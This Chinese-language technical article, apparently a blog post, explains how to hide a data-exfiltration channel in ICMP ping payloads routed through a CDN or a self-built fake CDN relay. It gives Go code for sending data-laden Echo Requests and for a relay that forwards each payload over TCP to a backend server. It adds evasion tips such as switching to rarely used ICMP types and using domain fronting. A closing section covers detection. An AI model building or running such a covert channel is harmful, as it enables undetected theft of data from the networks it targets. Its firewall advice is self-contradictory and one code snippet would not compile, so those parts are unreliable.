在渗透测试或者红队行动中,数据外传通道的隐蔽性决定了整个行动的成败。传统的HTTP隧道、DNS隧道已经被各种安全设备重点盯防,而ICMP协议因为设计上并非为数据传输而生,反而成了很多攻击者青睐的载体。不过单纯的ICMP隧道有个致命问题:客户端发出的Ping包目的地址直接就是攻击者的服务器,流量日志里一眼就能看到异常的外连记录。于是有人想到把CDN引入这条链路——让Ping包先打到CDN节点,再由CDN回源转发到真实服务器,攻击者的IP就被隐藏在了CDN身后。

但这里面有一个天然的门槛:绝大多数CDN服务商并不支持ICMP协议的回源。CDN节点对外提供的是HTTP、HTTPS、WebSocket等基于TCP或UDP的服务,对于ICMP Echo Request这类报文,要么直接丢弃,要么返回一个标准的Echo Reply,并不会把载荷内容转发给源站。所以在动手搭建之前,必须先搞清楚你打算使用的CDN是否在特殊配置下能放行ICMP流量,或者在CDN前面加一层自己的代理设备来接收ICMP并转换成其他协议回源。实际场景中更常见的做法是:攻击者自己租一台靠近目标区域的VPS作为“伪CDN节点”,对外暴露ICMP,然后把数据转发到真正的后端服务器,同时把该VPS的域名解析到CDN上,这样在流量审计中看到的仍然是去往CDN的Ping,但细节稍有不同。
这篇文章会沿着“原理拆解 -> 代码实现 -> 检测对抗”的路线,把ICMP隧道结合CDN的思路完整复现出来。先讲清楚ICMP载荷如何承载数据,再分析CDN转发时面临的协议限制,最后给出一个可运行的Go语言示例,并讨论在实际攻防中如何识别这类流量。
ICMP隧道的载荷构造与CDN转发瓶颈
ICMP协议本身分为很多类型,最常见的是类型8(Echo Request)和类型0(Echo Reply),也就是我们日常使用的Ping。操作系统内核在处理Ping时会附带一小段Data字段,默认情况下这段数据是固定的字母序列,比如Windows是“abcdefghijklmnopqrstuvwxyz”,Linux则是时间戳。攻击者要做的就是把这段Data替换成加密后的恶意数据,接收方再解析出来。在Go语言中,可以直接使用golang.org/x/net/icmp包来构造自定义的ICMP报文,指定ID和序列号,然后把数据填充进Message.Body。
一个基本的ICMP Echo Request报文构造代码如下:
package main
import (
"fmt"
"net"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
)
func sendICMP(dst net.IP, data []byte) error {
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err != nil {
return err
}
defer conn.Close()
msg := icmp.Message{
Type: ipv4.ICMPTypeEcho,
Code: 0,
Body: &icmp.Echo{
ID: 12345,
Seq: 1,
Data: data,
},
}
b, err := msg.Marshal(nil)
if err != nil {
return err
}
_, err = conn.WriteTo(b, &net.IPAddr{IP: dst})
return err
}
这段代码监听本地任意地址,构造一个ICMP Echo Request,把data作为载荷发送出去。接收端同样用icmp.ListenPacket监听,收到Echo Reply后提取Body.(*icmp.Echo).Data即可还原数据。到这里为止,传统ICMP隧道没有任何新意。
但一旦把目的地址从攻击者服务器换成CDN节点,事情就变得复杂。CDN边缘节点收到ICMP Echo Request后,它不知道该把这个包转发给谁,因为ICMP没有类似HTTP的Host头或者SNI字段来标识源站。即使CDN厂商在边缘节点上部署了ICMP代理,也需要额外的配置把特定的ICMP流量导向某个源站IP,而这样的功能在主流CDN控制台里几乎找不到。于是很多实战方案选择自己搭建一个“伪CDN”:在云服务商买一台VPS,配置好域名解析,然后在VPS上运行一个ICMP监听程序,收到数据后再通过TCP或者UDP转发到真实后端。对外看来,客户端只是在Ping一个托管在CDN上的域名,至于CDN是否真的参与了转发,攻击者自己心知肚明。
基于自建转发节点的ICMP over CDN实现
如果不依赖现成的CDN服务,自己模拟CDN的转发逻辑,思路就非常清晰了。架构分为三部分:客户端(发送方)、转发节点(接收ICMP并转发)、后端服务器(最终接收数据)。客户端正常发送ICMP Echo Request到转发节点的公网IP;转发节点上运行一个Go程序,监听ICMP包,提取Data字段,然后用任意TCP连接把数据发给后端;后端收到TCP数据后解析出原始信息。为了让流量看起来像是去往CDN,客户端可以故意在ICMP包的目的地址上填写CDN的IP,但实际网络层面并不会到达CDN,所以这个“伪装”只能骗过粗心的分析人员,对于抓包审计来说毫无意义。
比较现实的替代方案是:找一个确实支持ICMP转发的CDN或者任播网络。这类服务非常稀少,但并非不存在。一些提供抗DDoS清洗的服务商会在清洗过程中处理ICMP,如果攻击者把自己的真实服务器IP作为源站,让清洗中心把经过清洗的ICMP包回源给源站,理论上也能达到类似效果。不过这种场景下,攻击者需要提前和清洗服务商建立信任关系,成本较高,一般只出现在国家级APT行动中。对于普通的红队测试,更推荐把数据伪装在ICMP的Data里,同时利用域前置或者高信誉CDN域名作为外层掩护,但传输路径仍然是直连自己的服务器。
下面给出一个转发节点的核心代码,它监听本地所有ICMP请求,把Payload通过TCP发送到指定后端:
package main
import (
"fmt"
"net"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
)
func forwardICMPToTCP(backendAddr string) {
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err != nil {
panic(err)
}
defer conn.Close()
buf := make([]byte, 1500)
for {
n, peer, err := conn.ReadFrom(buf)
if err != nil {
continue
}
msg, err := icmp.ParseMessage(1, buf[:n])
if err != nil {
continue
}
if msg.Type != ipv4.ICMPTypeEcho {
continue
}
echo, ok := msg.Body.(*icmp.Echo)
if !ok {
continue
}
// 把Data通过TCP发给后端
go func(data []byte) {
tcpConn, err := net.Dial("tcp", backendAddr)
if err != nil {
return
}
defer tcpConn.Close()
tcpConn.Write(data)
}(echo.Data)
fmt.Printf("forwarded %d bytes from %v\n", len(echo.Data), peer)
}
}
这个转发节点本质上是一个协议转换器,把无连接的ICMP变成有连接的TCP。客户端和正常的Ping程序没有区别,唯一的改动就是把Ping的Data字段换成了加密后的业务数据。在流量监测设备看来,网络中充斥着大量的ICMP包,很难区分哪些是正常的管理Ping,哪些承载了恶意数据。如果再把ICMP的Type从8改成其他不常见的类型,比如13(Timestamp Request)或者15(Information Request),就能进一步降低被规则命中的概率。
检测与防御:如何识别CDN背景下的ICMP隧道
对于防守方来说,ICMP隧道的检测难点在于ICMP流量本身数量庞大且分布广泛,不可能一刀切地禁掉所有Ping。尤其是在混合了CDN的场景下,攻击者可能故意把目的IP指向高信誉的CDN节点,让安全设备误以为这是正常的CDN通信。但仔细分析流量特征,仍然能发现几个破绽。第一,正常的Ping包Data字段大小是固定的,Windows默认32字节,Linux默认56字节(含时间戳),而隧道流量为了增加传输效率,往往把Data字段填满到接近MTU上限,比如1400字节以上。第二,ICMP包的发送频率会有规律性,隧道传输数据时会出现密集的连续包,而人工Ping通常是间隔1秒或者手动触发。
更有效的检测手段是在网络出口部署DPI设备,对ICMP包的Data字段做熵值分析。正常Ping的Data是简单重复的字符串或者时间戳,熵值很低;加密后的数据呈现高随机性,熵值接近8比特每字节。防守方可以设置阈值,当某个源IP在短时间内发送大量高熵ICMP包时触发告警。此外,如果发现ICMP包的目的地址是某个域名解析后的多个IP,并且这些IP属于同一家CDN提供商,但Ping的频率和大小与常规CDN健康检查完全不符,也值得怀疑。对于企业内网,最简单粗暴的办法是在边界防火墙上直接阻断所有出方向的ICMP Echo Request,允许入方向的Echo Reply,这样内部用户仍然可以Ping外网,但无法向外发送数据。
需要提醒的是,ICMP隧道通常不是单独使用的,它往往和其他技术结合,比如把ICMP作为C2通信的备用信道,主信道依然是HTTPS。防御方不能指望单一的规则就彻底封死这类隐蔽通道,而是要通过多层次的流量行为分析,结合终端侧的EDR监控进程的异常网络调用,才能最大程度上压缩攻击者的活动空间。